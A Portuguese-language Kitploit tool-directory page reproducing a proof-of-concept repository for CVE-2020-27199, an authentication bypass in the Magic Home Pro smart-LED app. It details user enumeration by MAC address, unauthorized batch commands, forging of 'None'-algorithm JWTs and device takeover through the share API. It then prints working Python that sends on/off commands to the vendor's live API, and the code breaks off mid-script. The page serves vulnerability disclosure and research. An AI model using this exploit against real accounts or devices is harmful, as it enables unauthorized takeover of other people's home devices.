Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2020-27199 — CVE-2020-27199 | Kitploit
Ferramentas/GitHubGitHub/9lyph/cve-2020-27199
ReconhecimentoSegurança IoTExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de PenetraçãoSegurança MóvelAutenticaçãoDesenvolvimento de Payloads
GitHub9lyph/cve-2020-27199

CVE-2020-27199

CVE-2020-27199

711há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
Compartilhar

CVE-2020-27199 (Magic Home Pro - Bypass de Autenticação)

magic-home-pro

Múltiplas vulnerabilidades encontradas no Aplicativo Móvel Magic Home Pro, usado para interagir com o Kit RGB de Fita LED JadeHomic. A mais significativa dessas vulnerabilidades é um Bypass de Autenticação (CVE-2020-27199), que permite o controle total e a tomada de todo o grupo de dispositivos de uma vítima.

  • Abaixo estão detalhadas as etapas de enumeração que levaram à exploração final e ao material de Prova de Conceito (PoC) usado para realizar a enumeração e o exploit final.

Arquivos PoC

magichome-forge.py - Forjador JWT, usado para automatizar a tomada de dispositivos

magichome-sniffer.py - Sniffer de rede local que procura na rede por dispositivos suscetíveis. Constrói uma lista de dispositivos contra os quais os ataques podem ser executados

magichome-switch.py - Permite acender os dispositivos

magichome-takeover.py - Payload que permite a tomada bem-sucedida da conta de um usuário

Pré-trabalho para descoberta

  • Android rooteado
  • Bypass de detecção de root através de patch, reassinatura do JAR e reconstrução do APK (necessário)
  • Bypass de fixação de certificado Frida ao resgate (necessário)

Aplicativo

Magic Home Pro

Fornecedor do Produto

JadeHomic

Proprietário do Produto Controlador WiFi

Suzhou SmartChip Semiconductor Co.,Ltd

Site do Fornecedor

JadeHomic

Referência(s)

Mitre

Exploit-db

Blog SpiderLabs

Código Base do Produto Afetado

Magic Home Pro

Descrição

URL Base: wifij01us.magichue.net

Enumeração

Esta vulnerabilidade permite que qualquer usuário autenticado utilize seu nível de autorização atual para interrogar endpoints que não fazem parte de seus produtos registrados, usando uma chamada de API para /app/getBindedUserListByMacAddress/ZG001?macAddress=<endereço mac>. Isso resulta em uma resposta HTTP que indica a existência do endpoint e retorna o Nome de Usuário, Identificador Único do Usuário (userUniID) e o ID Único Vinculado (bindedUniID) do endpoint associado.

Usando a interrogação acima, um atacante pode então utilizar uma requisição POST não autorizada para a API /app/sendCommandBatch/ZG001, usando o endereço MAC recém-enumerado para enviar comandos ao endpoint remoto usando comandos hexadecimais compatíveis 71230fa3 e 71240fa4, resultando em LIGAR e DESLIGAR, respectivamente.

Forjamento de JWT com base nos detalhes obtidos acima

Após a enumeração inicial ser concluída, também é possível forjar um JWT usando o userID e o uniID nos dados do payload do JWT, efetivamente rebaixando o token para usar 'None' como algoritmo na seção de cabeçalho do JWT (vulnerabilidade de bypass de assinatura). Usando esta vulnerabilidade, o aplicativo fica suscetível à tomada de dispositivos por um atacante através da chamada de API remota para /app/shareDevice/ZG001 e utilizando o parâmetro JSON friendUserID para adicionar o dispositivo à lista de dispositivos do atacante, dando ao atacante controle total sobre o dispositivo endpoint.

Créditos:

  • Medium
  • JWT_TOOL - ticarpi

Tipo de Vulnerabilidade

  • Bypass de Autenticação
  • Divulgação de Informações
  • Acesso Não Autorizado
  • Escalação de Privilégio Horizontal

Informações Adicionais

OUI

O OUI descreve o Identificador Único da Organização para Endereços MAC registrados em uma organização. No caso da JadeHomic, o OUI mágico é C8:2E:47, onde os primeiros três bytes correspondem ao fabricante e os segundos três bytes correspondem ao número de série atribuído pelo fabricante. No nosso caso, o identificador do fabricante está registrado para Suzhou SmartChip Semiconductor Co., LTD.

CVE Impacto Outro

Permite o bypass de autenticação do aplicativo móvel Magic Home Pro e, consequentemente, o controle total de todo o grupo de dispositivos de um usuário vítima.

Vetores de Ataque

  • Usuário autenticado necessário
  • Enumeração bem-sucedida do sistema final existente
  • Envio subsequente de comandos em lote para um endpoint remoto
  • Tomada do dispositivo
  • Bypass de Autenticação

Enumerador PoC e exploit de comando em lote

A prova de conceito enumera os últimos bytes dentro do intervalo de MAC e retorna descobertas. Permite um teste de 'execução remota' se você estiver se sentindo ousado.``` import requests import json import os from colorama import init from colorama import Fore, Back, Style import re

'''

  1. First Stage Authentication
  2. Second Stage Enumerate
  3. Third Stage Remote Execute '''

global found_macaddresses found_macaddresses = [] global outtahere outtahere = "" q = "q" global token

def turnOn(target, token):

urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
    "dataCommandItems":[
        {"hexData":"71230fa3","macAddress":target}
    ]
}
data = json.dumps(array)
headersOn = {
    "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
    "Accept-Language": "en-US",
    "Accept": "application/json", 
    "Content-Type": "application/json; charset=utf-8",
    "token":token,
    "Host": "wifij01us.magichue.net",
    "Connection": "close",
    "Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOn, data=data, headers=headersOn)
if response.status_code == 200:
    if "true" in response.text:
        print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched On")
    else:
        print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")

def turnOff(target, token):

urlOff = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
    "dataCommandItems":[
        {"hexData":"71240fa4","macAddress":target}
    ]
}
data = json.dumps(array)
headersOff = {
    "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
    "Accept-Language": "en-US",
    "Accept": "application/json", 
    "Content-Type": "application/json; charset=utf-8",
    "token":token,
    "Host": "wifij01us.magichue.net",
    "Connection": "close",
    "Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOff, data=data, headers=headersOff)
if response.status_code == 200:
    if "true" in response.text:
        print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched Off")
    else:
        print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")

def lighItUp(target, token):

Baixar ferramenta